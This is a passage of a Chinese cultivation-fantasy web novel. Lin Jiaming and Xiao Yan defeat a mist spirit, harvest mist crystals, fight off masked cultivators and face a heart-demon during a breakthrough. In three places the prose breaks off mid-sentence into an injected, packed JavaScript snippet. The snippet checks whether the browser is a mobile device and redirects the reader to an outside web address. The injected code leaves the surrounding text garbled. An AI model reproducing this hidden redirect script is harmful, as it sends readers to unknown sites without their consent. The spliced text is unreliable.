“小黑!全力!”林家铭将混沌灵力毫无保留地注入玄渊枪,枪身龙纹完全显现,隐隐有龙吟之声! 萧炎指尖的暗红火焰也燃烧到极致,化作一道火线,缠绕在左手,握拳,拳头上燃起暗红火焰! 两人一左一右,同时攻击雾姬心口和眉心! “破!” 玄渊□□入雾姬心口,混沌灵力与龙魂吞噬之力疯狂爆发! 暗红火焰拳头砸在雾姬眉心,火焰如同跗骨之蛆,迅速蔓延! “啊啊啊——!” 雾姬发出凄厉的惨叫,身体剧烈颤抖,膨胀的身形开始崩溃、消散! 四周的雾傀也随之溃散,化作普通雾气。 十息后。 雾姬的身体彻底消散,只在原地留下一颗鸽蛋大小、呈灰白色的晶石,以及……一张巴掌大小、暗红色的符纸。 符纸上,画着一个诡异的符文,正是雾姬手背上那个。 “结束了……”石岳瘫坐在地,大口喘气。 水月儿和金锋也累得够呛,各自调息。 林家铭捡起那颗灰白晶石,入手冰凉,能感觉到其中蕴含的精纯雾属性能量和一丝微弱的煞气。 “这晶石品质不错。”他将晶石递给石岳,“战利品。” 然后又拿起那张符纸。 符纸材质特殊,非纸非帛,触手冰凉。上面的符文复杂诡异,林家铭盯着看了几秒,突然觉得头晕目眩,连忙移开目光。 “这是……控制符。”萧炎走过来,盯着符纸,脸色凝重,“用精血和煞气炼制,专门用于控制雾妖这类自然精灵。炼制手法……很古老,也很邪恶。” “能看出是谁炼制的吗?”林家铭问。 萧炎摇头:“至少是金丹期以上的邪修炼制。而且这符文体系……我没见过,但感觉有点熟悉。” 他接过符纸,仔细端详,突然脸色一变:“等等……这符文的运笔习惯……” “怎么了?” 萧炎没回答,而是从怀中取出一个玉盒,打开,里面放着一枚残破的玉简——正是之前在雾鬼潭古尸身上找到的那枚。 他将玉简和符纸放在一起对比。 虽然玉简上是文字,符纸上是符文,但两者在笔画转折、灵力运转轨迹上,竟然有七八分相似! “是同一个人……或者说,同一脉传承。”萧炎沉声道,“雾鬼潭的古尸,黑风谷的煞气凝结体,这里的雾姬……背后都是同一伙人。” 石岳走过来,看着那符纸和玉简,脸色难看:“他们到底想干什么?” “不知道。”萧炎收起玉简和符纸,“但肯定不是好事。这些煞气污染、控制自然精灵、在各处秘境搞事情……图谋不小。” 五人沉默。 原本只是一次普通的五宗小会,却意外牵扯出了这么大的阴谋。 “这事得尽快上报。”石岳道,“等出了秘境,我们各自向宗门汇报,然后五宗高层应该会联合调查。” “同意。”水月儿点头。 金锋没说话,但眼神也表明赞同。 林家铭和萧炎交换了一个眼神。 两人心里清楚,这事背后牵扯太大,贸然上报可能会打草惊蛇,甚至可能……五宗高层里,就有对方的人。 但眼下不是讨论这个的时候。 “先休整,然后继续。”萧炎道,“我们的主要任务是收集雾晶,现在才刚开始。” 众人点头,正要调息恢复,突然—— “等等。”林家铭突然开口,盯着雾姬消散的地方,“你们有没有觉得……刚才她死得太容易了?” “什么意思?”水月儿问。 “一个能操控那么多雾傀、还有神魂攻击手段的雾妖,就算实力有损,也不该这么容易被我们五个炼气期干掉。”林家铭摸着下巴,“而且你们发现没,她死后留下的东西……太干净了。” 他蹲下身,在雾姬消散的地方仔细摸索。 地面焦黑,草木枯死,除此之外……似乎没什么异常。 但林家铭不死心,混沌灵力运转至双眼,开启灵视。 灰蒙蒙的视野中,他看到了不一样的东西—— 一条极其细微的、几乎不可察觉的灰线,从雾姬消散的地方延伸出去,没入远处的浓雾中。 “这是……”林家铭顺着灰线看去,“有东西在吸收她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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阻止?可雾晶王正在成型,那股能量波动已经堪比筑基后期,而且还在不断增强! “必须阻止它成型!”金锋握紧长剑,眼中闪过决绝。 “怎么阻止?”水月儿苦笑,“那能量强度,我们靠近就会被撕碎。” 林家铭盯着那颗正在成型的雾晶王,脑子飞快转动。 混沌灵力能吞噬煞气……那能不能吞噬雾晶中的能量? 玄渊枪能破开雾姬的防御……那能不能刺穿雾晶王? 还有萧炎的业火…… “有一个办法。”他突然开口,看向萧炎,“萧师兄,你的业火,能不能焚烧那颗雾晶王?” “可以试试,但需要时间。”萧炎盯着远处的能量漩涡,“而且我一个人的力量不够,需要有人帮我破开雾晶王的外层防护。” “我来。”林家铭握紧玄渊枪,“石师兄,水师姐,金师兄,你们帮我争取时间,布置干扰阵法,减缓雾晶王成型速度。” “好!”三人毫不犹豫点头。 生死关头,没人犹豫。 五人立刻行动。 石岳、水月儿、金锋三人冲向能量漩涡外围,各自施展手段——土墙、音波、剑气,不求破坏,只求干扰能量汇聚,为林家铭和萧炎争取时间。 而林家铭和萧炎,则直冲能量漩涡中心! 越是靠近,压力越大。狂暴的雾气能量如同刀刃,切割着两人的护体灵力。林家铭将混沌灵力运转到极致,玄渊枪在前开路,枪身灰光大盛,硬生生在能量乱流中撕开一条通道! 萧炎紧随其后,业火在周身形成一层薄薄的火焰护罩,勉强抵挡住能量冲击。 十丈,五丈,三丈…… 距离雾晶王越来越近! 但雾晶王的成型速度也在加快!原本人头大小的晶石,此刻已经膨胀到脸盆大小,表面出现一道道裂纹,内部能量狂暴涌动,随时可能爆炸! “就是现在!”林家铭大吼,纵身跃起,玄渊枪全力刺向雾晶王! “小黑!给我吞!” 枪尖刺入晶石表面! “咔嚓——!” 裂纹蔓延!狂暴的雾气能量顺着枪身涌入林家铭体内,混沌气旋转速飙升到极限,疯狂吞噬、转化! 但能量太庞大了!短短一息,林家铭就感觉经脉胀痛,丹田几乎要被撑爆! “萧师兄!快!” 萧炎双手结印,业火化作一条火龙,顺着玄渊□□出的裂缝,钻入雾晶王内部! “业火焚天!” 暗红火焰在晶石内部爆发,疯狂焚烧其中蕴含的雾气能量和煞气! “轰——!!” 雾晶王剧烈震颤,表面裂纹越来越多,能量开始失控外泄! “退!”萧炎一把拉住林家铭,向后暴退! 两人刚退出三丈—— “嘭!!!” 雾晶王炸了! 不是惊天动地的大爆炸,而是……如同烟花般的绚烂散开! 无数碎片四射飞溅,每一片都蕴含着精纯的雾气能量,化作一场覆盖百丈范围的“雾晶雨”! “这是……”石岳愣住了。 水月儿伸手接住一片落下的晶石碎片,入手温润,能量精纯:“雾晶……全是高品质雾晶!” 金锋也接住几片,眼睛亮了。 爆炸中心,那颗原本要成型的雾晶王已经消失,取而代之的是散落一地的晶石碎片——每一片都是高品质雾晶,至少有上百片! 而更远处,还有更多从秘境各处汇聚而来的雾晶失去牵引,如同下雨般从空中落下! 短短十几息,方圆百丈内,地面上已经铺了厚厚一层雾晶! “这……”林家铭看着满地的晶石,咽了口唾沫,“咱们这是……发财了?” 萧炎也难得露出笑容:“何止发财。这些雾晶的品质,每一片都抵得上之前收集的十块。现在地上至少有三百片……相当于三千块普通雾晶。” 其他三支队伍三天收集的量,可能都没他们这一下多。 “抓紧时间收集!”石岳反应过来,“这么大的动静,其他队伍肯定会被吸引过来!” 五人立刻动手,拿出储物袋,疯狂扫荡地上的雾晶碎片。 林家铭一边捡,一边心里美滋滋。 这波血赚。 虽然差点被炸死,但回报也是惊人的。 而且…… 他看向远处还在落下的雾晶雨。 这场“雨”,还没停呢。 32. 雾晶雨与暗流 第三十二章雾晶雨与暗流 雾晶雨还在下。 林家铭五人手脚麻利地扫荡着地上的晶石碎片,储物袋以肉眼可见的速度鼓起来。 “这边!这边还有!”水月儿指着不远处一片洼地,那里已经积了厚厚一层晶石,在灰蒙蒙的雾气中闪着微光。 金锋身形如电,几个起落就掠过去,剑鞘一扫,大片晶石被收入储物袋。 石岳则比较讲究,一边捡一边计数:“一百七十三、一百七十四……按这个速度,等雨停了咱们至少能收五百片!” 萧炎没说话,但他的动作最快——暗红火焰在指尖跳跃,化作数条细小的火蛇,火蛇所过之处,地上的晶石自动飞入他腰间的储物袋,效率高得离谱。 林家铭捡着捡着,突然停下动作,抬头看着还在不断落下的雾晶雨,眼睛越来越亮。 “萧师兄,”他捅了捅旁边的萧炎,“你说这雾晶雨,能持续多久?” “看能量残余,至少还能下半个时辰。”萧炎估算道。 “半个时辰……”林家铭舔了舔嘴唇,“够做点事了。” 他从储物袋里掏出一件东西——不是符箓,也不是法宝,而是一张……渔网。 就是最普通的那种凡间渔民用的渔网,麻绳编织,网眼有拳头大小。这是他在青岚宗山下小镇闲逛时随手买的,本来想用来抓鱼改善伙食,后来发现修仙界连鱼都成精了,根本抓不住,就扔储物袋里吃灰。 “林师弟,你这是……”石岳愣住了。 “捞钱啊!”林家铭咧嘴一笑,将渔网展开,注入混沌灵力。 灰蒙蒙的灵力顺着网绳蔓延,原本普通的麻绳泛起微光,网眼处的空间开始微微扭曲——混沌灵力正在临时改造这张渔网的材质和特性! “石师兄,搭把手,把这网撑开!” 石岳虽然不明所以,但还是依言配合,双手掐诀,地面隆起四根石柱,呈方形排列。 林家铭将渔网四角系在石柱顶端,一张简易的“捞晶网”就架好了。 “这能行吗?”水月儿怀疑地看着那张简陋的渔网,“雾晶掉下来,不会直接穿过网眼吗?” “看着。” 林家铭双手按在渔网边缘,混沌灵力全力输出! “嗡——!” 渔网表面泛起一层灰蒙蒙的光膜,网眼处空间扭曲得更厉害了,形成一个个微型的“灵力漩涡”。 下一瞬,雾晶雨落下。 那些鸽蛋大小的晶石碎片,在接触到渔网上方时,突然像是被无形的手抓住,纷纷改变下坠轨迹,向着网眼处的灵力漩涡汇聚! “噗噗噗……” 晶石落入漩涡,瞬间被压缩、凝聚,几个晶石碎片在漩涡中碰撞、融合,变成更大块的晶石,然后顺着网绳滑落,堆积在网底! 短短十息,网底就堆了厚厚一层,而且每一块都有鸡蛋大小,品质比之前的碎片更高! “这……”石岳瞪大眼睛,“你把小晶石合成大晶石了?!” “不是合成,是压缩提纯。”林家铭额头冒汗,维持这种操作对灵力消耗极大,但他笑得灿烂,“混沌灵力可以模拟各种属性,我用它模拟了‘引力’和‘压力’,把落下来的晶石碎片强行压缩、去杂质,提纯成更高品质的雾晶。” 他抓起一块网底的晶石,入手温润,能量精纯得几乎要溢出来:“这一块的品质,至少相当于二十块普通雾晶。而且体积小,方便携带。” 萧炎盯着那渔网看了几秒,突然笑了:“林师弟,你这脑子……确实跟正常人不太一样。” “这叫创新。”林家铭嘚瑟,“怎么样,萧师兄要不要也来一张?我教你啊。” “不用。”萧炎摇头,然后从怀里掏出一件东西——一个巴掌大小的赤红色葫芦。 他拔开塞子,葫芦口对准天空,口中念念有词。 下一刻,葫芦产生一股恐怖的吸力! 方圆三十丈内的雾晶雨,如同百川归海,疯狂向着葫芦口涌去!甚至那些已经落在地上的晶石碎片,也都被吸得飞起,投入葫芦中! 更夸张的是,葫芦口还形成一个小型漩涡,将附近雾气中的精纯能量也一并吸入! “卧槽!”林家铭爆了粗口,“你这葫芦是法宝吧?!犯规啊!” “不算。”萧炎面不改色,“规则只说不能使用超出自身修为的法宝,又没说不能用法宝收东西。我这‘炎灵葫芦’只是中品法器,炼气期也能用。” “你管这叫中品法器?!”林家铭看着那恐怖的吸力,嘴角抽搐,“这吸力都快赶上小型黑洞了!” 两人一个用渔网“精加工”,一个用葫芦“暴力吸”,效率高得吓人。 石岳、水月儿、金锋三人看得目瞪口呆,然后默默加快了手上的动作——跟这两个变态比,他们只能用最原始的方法捡。 不过即便如此,五人的收获也已经达到了一个恐怖的数字。 半刻钟后,雾晶雨渐渐停了。 地面上基本被扫荡一空,只有零星几块藏在石缝里的漏网之鱼。 五人在一处相对平坦的地方汇合,清点收获。 “我这里有两百四十片压缩提纯后的雾晶,每片品质相当于二十块普通雾晶。”林家铭报数。 “炎灵葫芦吸了三百五十片左右,品质参差不齐,但平均也有十五倍。”萧炎道。 石岳三人加起来,也捡了一百多片普通碎片。 总计收获,相当于至少八千块普通雾晶! “这下稳了。”石岳长舒一口气,“别说前两名,咱们队现在手里的雾晶,可能比其他四队加起来都多。” 水月儿却皱眉:“太招摇了。其他队伍肯定会盯上我们。” “那就让他们盯。”金锋握紧长剑,“来一个,打一个。” “打不过怎么办?”林家铭突然问。 “打不过就跑啊!”他理直气壮,“咱们现在手里有这么多雾晶,找个地方一藏,等三天时间一到,直接传送出去不就行了?干嘛要跟人硬拼?” “……”金锋被噎得说不出话。 但仔细一想,好像……很有道理? “林师弟说得对。”石岳点头,“咱们的目标是晋级,不是打架。现在优势这么大,没必要冒险。” “问题是,藏哪儿?”水月儿环顾四周,“这秘境到处都是雾,神识受干扰,藏起来容易被找。” “这个简单。”林家铭又露出那种“我要搞骚操作”的笑容,“咱们不藏,咱们……搬家。” “搬家?” “对。”林家铭指向远处,“刚才雾晶王爆炸的地方,不是炸出了一个大坑吗?我看了,那坑至少有十丈深,底下还有残余的能量乱流,神识探查会被干扰。咱们去那儿,在坑壁上挖个洞,布置阵法一藏,鬼才找得到。” “而且,”他补充道,“那地方刚经历过能量爆炸,短时间内不会有妖兽靠近,相对安全。” 萧炎挑了挑眉:“你连这都想好了?” “这叫未雨绸缪。”林家铭咧嘴,“怎么样,干不干?” 五人很快达成一致。 回到雾晶王爆炸的巨坑边缘,向下看去,坑底还残留着淡淡的能量波动,雾气在坑中盘旋,形成一个小型的雾气漩涡。 “我先下去探路。”金锋纵身跃下,身形在坑壁上几次借力,稳稳落在坑底。 片刻后,他的声音传上来:“安全!坑壁有天然裂缝,可以改造成洞穴!” 五人陆续下到坑底。 果然,坑壁西侧有一道天然裂缝,宽约三尺,深不知几许。裂缝内壁光滑,像是被能量冲击形成的。 “就这里。”林家铭钻进裂缝,往深处走了十几丈,空间豁然开朗——是一个天然形成的石室,大约三丈见方,顶部有细微的缝隙透光,空气流通。 “完美。”他满意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189093|197041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地点头,“石师兄,布阵吧。” 石岳是厚土宗弟子,对土石阵法最擅长。他掏出一套阵旗,在石室入口、内部各处布下“厚土隐匿阵”和“幻雾迷踪阵”,双重保险。 水月儿则用音探术检查四周,确认没有隐藏的危险。 金锋守在入口处警戒。 而林家铭和萧炎,则开始研究那些雾晶。 “萧师兄,你说这雾晶除了兑换积分,还有别的用处吗?”林家铭拿起一块鸡蛋大小的压缩晶石,在手中把玩。 “可以吸收修炼,尤其是对修炼雾属性、水属性功法的修士。”萧炎道,“也可以用来炼制雾系法宝,或者布置幻阵。” “那咱们是不是能……”林家铭眼睛又亮了。 “你想干什么?”萧炎警惕地看着他。 “咱们现在有这么多雾晶,完全可以自己布置一个‘雾晶聚灵阵’,在这修炼两天啊!”林家铭兴奋道,“反正现在也没事干,藏在这里也是干等,不如抓紧时间提升实力。” “雾晶聚灵阵?”石岳听到这个词,转过头来,“那是中级阵法,至少需要筑基期修为才能布置,而且消耗很大……” “我来布。”林家铭打断他,“混沌灵力可以模拟任何属性,布阵没问题。至于消耗……咱们有这么多雾晶,还怕消耗?” 他说干就干。 从储物袋里掏出一堆乱七八糟的材料——有从洞府捡的边角料,有在灰集买的便宜货,还有钱富贵送的机关零件。 然后,他开始在地上刻画阵纹。 不是用符笔,而是直接用手。 指尖凝聚混沌灵力,在地面上勾勒出复杂玄奥的线条。每一笔落下,地面都微微发光,阵纹中蕴含的能量波动越来越强。 萧炎在旁边看着,眼神从怀疑到惊讶,最后变成凝重。 林家铭刻画的阵纹,看似杂乱无章,实则暗含某种特殊的规律。而且他用的不是常规的五行灵力,而是混沌灵力,这让阵纹产生了微妙的变化,效果可能比原版更强,但也更……不稳定。 一刻钟后,阵法完成。 林家铭将一百块压缩雾晶按照特定方位摆放在阵眼处,然后双手按在阵法中心,混沌灵力注入! “嗡——!” 阵法亮起灰蒙蒙的光,四周的雾气被吸引过来,在石室内形成一层淡淡的雾霭。雾霭中蕴含着精纯的能量,吸入体内,能明显感觉到灵力在缓慢增长! “成了!”林家铭咧嘴笑,“虽然只是简化版,但效果应该不错。大家抓紧时间修炼,能提升一点是一点。” 五人盘膝坐下,各自运功。 雾晶聚灵阵的效果出乎意料的好。精纯的雾气能量源源不断涌入体内,修炼速度至少提升了三倍! 林家铭更是如鱼得水。混沌灵力疯狂吞噬、转化雾气能量,修为以肉眼可见的速度增长。炼气六层圆满的瓶颈已经开始松动,突破在即。 然而,就在五人沉浸修炼时—— 石室外,突然传来一阵诡异的“沙沙”声。 像是有什么东西在爬行,数量很多。 很多很多。 金锋猛地睁眼,握剑起身,悄无声息地走到裂缝入口,向外望去。 只看了一眼,他的脸色就变了。 “准备战斗。”他声音低沉,“外面……全是煞气凝结体。” “什么?!”石岳霍然起身。 林家铭也睁开眼睛,神识透过阵法向外探查。 然后,他看到了令人头皮发麻的一幕—— 巨坑边缘,密密麻麻的灰白色胶状物正在爬下来。每一团都有脸盆大小,数量……至少五十! 而且,在这些煞气凝结体后方,还有三道模糊的人影。 人影穿着五宗制式的服饰,脸上戴着面具,看不清面容。 但其中一人抬起左手,手背上—— 暗红色的诡异符文,清晰可见。 33. 坑底死战,临阵突破 第三十三章坑底死战,临阵突破 “五十三个。” 金锋的声音在石室里回荡,每个字都像砸在人心上。 “领头的三个,筑基期。手上有符文,和雾姬那个一样。” 石岳脸色煞白,水月儿握紧玉笛的手在发抖。 筑基期,还是三个。就算他们五个全是炼气后期,也没可能赢。 更何况外面还有五十多个煞气凝结体,每一个都相当于炼气六层战力。 绝境。 “妈的,这是要赶尽杀绝啊。”林家铭啐了一口,从地上爬起来,走到裂缝入口往外看。 巨坑边缘,密密麻麻的灰白色胶状物正在往下蠕动,像是一锅煮沸的浓汤。最前方三个戴着面具的人影已经下到坑底,呈三角站位,隐隐封死了所有退路。 其中一个身材高瘦的面具人抬起左手,手背上的暗红符文在灰雾中泛着诡异的光。 “厚土宗的石岳,对吧?”那人的声音嘶哑难听,像是砂纸磨过铁皮,“交出你们捡到的控制符,还有所有雾晶,可以留个全尸。” 石岳咬紧牙关,没说话。 “不交?”高瘦面具人低笑,“那就都死吧。反正秘境里‘意外’死亡几个弟子,也很正常。” 他抬手一挥。 十几团煞气凝结体率先扑向石室裂缝! “土墙!”石岳咬牙施法,一道厚实的土墙在裂缝口拔地而起! “轰轰轰——!” 煞气凝结体撞在土墙上,腐蚀声刺耳,土墙表面迅速变黑、崩解! “撑不了多久!”石岳额头冒汗。 水月儿玉笛吹响,音波化作冰刃射向裂缝外,但效果有限——煞气凝结体对五行法术的抗性太高了。 金锋已经拔剑守在裂缝口,随时准备近战。 林家铭却突然转身,走到石室中央,蹲下身开始掏东西。 “林师弟,你干什么?”石岳急道。 “玩个大的。”林家铭头也不抬,从储物袋里掏出一堆压缩雾晶——足有三十多块。 然后,他又掏出几张符箓,不是攻击符,而是……他自创的改良版“粘胶符”。 “你要用雾晶炸他们?”萧炎看穿了他的意图,“但煞气凝结体对能量攻击抗性很高,爆炸效果有限。” “谁说要炸它们了?”林家铭咧嘴一笑,笑容疯狂,“我要炸的是这个坑。” 他站起身,指着石室顶部:“看到那些裂缝了吗?刚才雾晶王爆炸的时候,能量冲击把这里的地层结构震松了。如果再来一次大爆炸,你们猜会发生什么?” 萧炎顺着他的手指看去,石室顶部确实有密密麻麻的细密裂缝,还在不断往下掉碎石。 “坍塌。”他瞳孔一缩,“你想把整个坑炸塌,活埋所有人?!” “错。”林家铭纠正,“是活埋他们,咱们跑路。” “怎么跑?”水月儿忍不住问,“坑塌了咱们也被埋了!” “所以我准备了这些。”林家铭晃了晃手里的粘胶符,“看到那边没?石室最深处,有一条天然的地下水脉裂缝。我刚才用神识探过了,裂缝下面连着地下河。等爆炸一起,咱们就用土遁符往那裂缝里钻,粘胶符可以暂时封住入口,争取时间。” “然后顺着地下河跑路?”石岳明白了,“可地下河通向哪里?万一没出口……” “那就憋死呗。”林家铭耸耸肩,“反正留在这也是死,赌一把还有活路。怎么样,赌不赌?” 短暂沉默。 “赌。”金锋第一个开口。 “我也赌。”水月儿咬牙。 石岳苦笑:“好像也没别的选择了。” 所有人都看向萧炎。 萧炎盯着林家铭看了几秒,突然笑了:“林师弟,你这疯子程度,我很欣赏。不过我有个更好的主意。” “什么?” “不用炸坑。”萧炎走到石室中央,蹲下身,双手按在地面,“你的混沌灵力,加上我的业火,再加上这些雾晶……我们可以玩个更大的。” “什么更大的?” “制造一个临时的‘混沌业火领域’。”萧炎眼中闪过危险的光,“混沌灵力可以融合、转化一切能量,业火可以焚烧罪业、煞气。如果我们把三十块压缩雾晶的能量一次性引爆,用混沌灵力强行融合,再用业火点燃……” 他顿了顿,缓缓道:“会产生一种极其不稳定的‘混沌业火’。这东西对正常修士伤害有限,但对煞气……是绝对的克星。沾染一点,就会顺着煞气源头一路烧过去,不烧干净不罢休。” 林家铭眼睛亮了:“你是说……能顺着那些煞气凝结体,烧到操控者身上?” “理论上是。”萧炎点头,“但风险很大。一旦失控,混沌业火可能连我们也一起烧。” “那就试试呗。”林家铭毫不犹豫,“反正都是死,死得壮观点也好。” 两人对视一眼,同时露出疯狂的笑容。 石岳、水月儿、金锋三人看着这两个疯子,突然觉得……跟外面那些面具人相比,这俩队友好像更危险。 “怎么做?”林家铭问。 “我布业火引燃阵,你准备混沌灵力融合。”萧炎快速说道,“石师兄,你们三个负责拖时间,至少给我们三十息。” “三十息……撑得住!”石岳咬牙,从储物袋里掏出最后几张防御符箓。 计划敲定。 裂缝外,土墙已经崩解了大半,十几团煞气凝结体正在往里挤。 “动手!” 金锋第一个冲出去,剑光如暴雨般倾泻,硬生生将最前面的几团煞气凝结体逼退! 水月儿玉笛音攻全开,音波化作层层叠叠的冰墙,暂时堵住裂缝入口! 石岳则不断加固石室墙壁,争取时间。 而石室中央,林家铭和萧炎已经开始疯□□作。 萧炎咬破指尖,用精血在地上刻画业火阵纹。每一笔落下,地面都留下一道焦黑的痕迹,暗红色的业火在阵纹中流淌。 林家铭则将三十块压缩雾晶堆在一起,双手按在上面,混沌灵力疯狂注入! 灰蒙蒙的灵力如同触手,钻进每一块雾晶内部,强行搅动、融合其中的雾气能量。原本稳定的晶石开始震颤,表面出现裂纹,内部能量开始暴走! 二十息。 裂缝外的冰墙破碎,金锋被震退回来,胸口一道焦黑的伤口,是煞气侵蚀。 “顶不住了!”水月儿脸色苍白,音攻消耗太大。 二十五息。 萧炎的业火阵纹完成,暗红色的火焰在阵法中熊熊燃烧,散发出令人心悸的气息。 林家铭手中的三十块雾晶已经变成一团不稳定的灰色能量球,表面不断有电弧跳跃,随时可能爆炸。 “还差最后一步!”萧炎吼道,“把能量球扔进阵法中心!” 林家铭用尽全身力气,将那颗篮球大小的灰色能量球砸向业火阵法! “轰——!” 能量球与业火接触的瞬间,恐怖的能量冲击爆发! 灰与红交织,混沌与业火融合,一股诡异而强大的力量在阵法中心诞生——那是一团不断扭曲、变幻颜色的火焰,时而灰暗,时而赤红,散发着毁灭与净化并存的气息。 混沌业火,成了! “去!” 萧炎双手结印,混沌业火化作三条火龙,冲出石室,扑向裂缝外的煞气凝结体! 接触的瞬间—— “嗤嗤嗤——!” 如同热刀切黄油,煞气凝结体在混沌业火面前毫无抵抗之力,瞬间被点燃、焚烧、化作灰烬! 更恐怖的是,火焰顺着煞气凝结体与操控者之间的联系,一路烧了过去! “啊啊啊——!” 坑底,一名面具人突然惨叫起来!他手背上的暗红符文亮起刺目的光,但混沌业火已经顺着符文蔓延到手臂,疯狂焚烧! “这是什么火?!灭不掉!”他惊恐地拍打手臂,但火焰越烧越旺。 另外两个面具人脸色大变,连忙切断与煞气凝结体的联系,但已经晚了——混沌业火如同附骨之蛆,已经沾染到他们身上一丝煞气,开始顺着那丝联系蔓延! “撤!”高瘦面具人当机立断,纵身向坑外逃去。 另外两人也顾不得手下,狼狈逃窜。 而剩下的煞气凝结体失去操控,开始无序攻击,但很快就被混沌业火焚烧殆尽。 短短十几息,危机解除。 石室里,五人瘫坐在地,大口喘气。 林家铭看着外面满地的灰烬,咧嘴笑了:“妈的,赌赢了。” 但笑容很快僵住。 因为他感觉到,体内的混沌气旋正在疯狂旋转——刚才全力催动混沌灵力融合雾晶能量,加上混沌业火的刺激,他的修为瓶颈彻底松动了。 而且,不是普通的突破。 是压制不住的那种。 “萧师兄……”林家铭声音发苦,“我好像……要突破了。” “现在?”萧炎一愣,随即脸色微变,“在这里突破?外面可能还有敌人,而且刚经历过大战,灵气紊乱……” “压不住了。”林家铭苦笑,盘膝坐下,“帮我护法,十分钟……不,五分钟就行。” 萧炎盯着他看了两秒,点头:“好。” 他转身对石岳三人道:“林师弟要突破,我们护法。石师兄,你布防御阵。水师妹,用音探术警戒四周。金师弟,守住入口。” 三人立刻行动。 而林家铭已经进入突破状态。 混沌气旋转速飙升到极限,丹田里灰蒙蒙的灵力如同海啸般翻涌。刚才融合雾晶能量时残留的精纯能量,此刻被疯狂吸收、转化。 炼气六层圆满的瓶颈,如同纸糊般被冲破。 修为开始向炼气七层迈进。 但林家铭很快发现不对劲。 这次的突破……太顺利了。 顺利得诡异。 混沌灵力在经脉中奔涌,几乎没有任何阻碍,修为节节攀升。炼气七层初期、中期、后期……竟然一路冲到了炼气七层圆满! 而且还没停! “不对劲!”林家铭心中警铃大作。 他想强行压制,但根本控制不住。混沌气旋像是脱缰的野马,疯狂吞噬着周围的一切能量——包括空气中残留的煞气、业火余烬、雾晶碎片…… 更可怕的是,玄渊枪里的枪魂“小黑”也兴奋起来,顺着经脉钻入丹田,与混沌气旋融合! 灰蒙蒙的气旋中,开始浮现龙纹虚影! “这是……”林家铭心神剧震。 他想起了师父凌霄真君曾经随口提过的一句话:“混沌灵根,万法归一。若遇大机缘、大压力、大危险,可能引发‘混沌暴走’,修为暴涨,但心魔也会随之而来……” 混沌暴走! 妈的,中奖了! 林家铭咬紧牙关,试图稳住心神。但脑海中已经开始浮现各种幻象—— 葬兵冢的血池、雾姬狰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189094|197041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狞的面孔、面具人手背上的诡异符文、还有……一个模糊的身影,站在无尽煞气中,回头对他露出诡异的笑…… 心魔来了。 而且来势汹汹。 “林师弟!”萧炎察觉到不对劲,林家铭身上的气息开始紊乱,时而暴涨,时而暴跌,脸色也在青红之间变幻。 “他入魔了!”水月儿惊呼。 “是心魔劫。”石岳脸色凝重,“突破时遭遇心魔,凶险无比。我们必须帮他稳住心神,否则轻则修为尽废,重则神魂俱灭。” “怎么帮?”金锋问。 “音攻清心。”水月儿立刻盘膝坐下,玉笛吹响清心咒。 “土法镇魂。”石岳双手按地,土黄色光芒笼罩林家铭。 萧炎犹豫了一下,咬破指尖,一滴精血弹出,落在林家铭眉心:“业火护魂。” 暗红火焰在林家铭眉心燃烧,暂时压制住心魔的侵蚀。 但还不够。 林家铭的意识深处,心魔幻象越来越清晰。 那个站在煞气中的身影缓缓转身,露出一张脸。 一张……和林家铭一模一样的脸。 “你就是我,我就是你。”心魔咧嘴笑,笑容邪异,“混沌即混乱,混乱即自由。为什么要压制?为什么要修炼?为什么不……放纵一次?” “放纵你大爷!”林家铭在意识中怒吼,“老子辛辛苦苦修炼,不是为了变成疯子!” “可你已经是个疯子了。”心魔摊手,“正常人会用渔网捞雾晶?会想炸坑活埋所有人?会跟萧炎那疯子一起玩混沌业火?” “那叫创新!叫机智!叫胆识!” “随便你怎么说。”心魔逼近,“但你知道的,你我本是一体。你所有的阴暗、疯狂、贪婪、狠辣……都在我这里。接受我,你会更强大。拒绝我,你会死。” 林家铭沉默了。 心魔说得没错。 穿越到这个世界后,他表面上嘻嘻哈哈,但内心深处确实藏着很多阴暗面。对敌人的狠辣、对财宝的贪婪、对搞事的疯狂……这些都是真实的他。 但…… “老子是疯,但不是傻。”林家铭抬起头,盯着心魔,“我知道自己想要什么。我要变强,要搞钱,要活得逍遥。但前提是——我自己控制这一切,不是你。” “你控制得了吗?”心魔冷笑,“看看外面,三个筑基期要杀你,秘境里还有更多危险。没有我的力量,你怎么活?” “那就不要你的力量。”林家铭咧嘴一笑,笑容疯狂,“老子自己闯出来的路,凭什么让你指手画脚?” 他心念一动,意识深处,混沌气旋轰然炸开! 不是被心魔侵蚀的那种炸,而是……主动引爆! “你疯了?!”心魔惊恐,“自爆识海,你会变成白痴!” “那就变啊!”林家铭大笑,“反正被你控制了也是行尸走肉,不如赌一把!” 灰蒙蒙的混沌灵力在意识海中疯狂肆虐,将心魔幻象撕碎、吞噬、碾磨! 心魔惨叫着消散。 但林家铭的意识也开始模糊。 最后一刻,他听到萧炎的怒吼:“林家铭!稳住!” 然后,一切陷入黑暗。 不知过了多久。 林家铭缓缓睁开眼睛。 石室里,萧炎四人正围着他,脸色紧张。 “醒了!”水月儿惊喜。 林家铭坐起身,晃了晃脑袋。 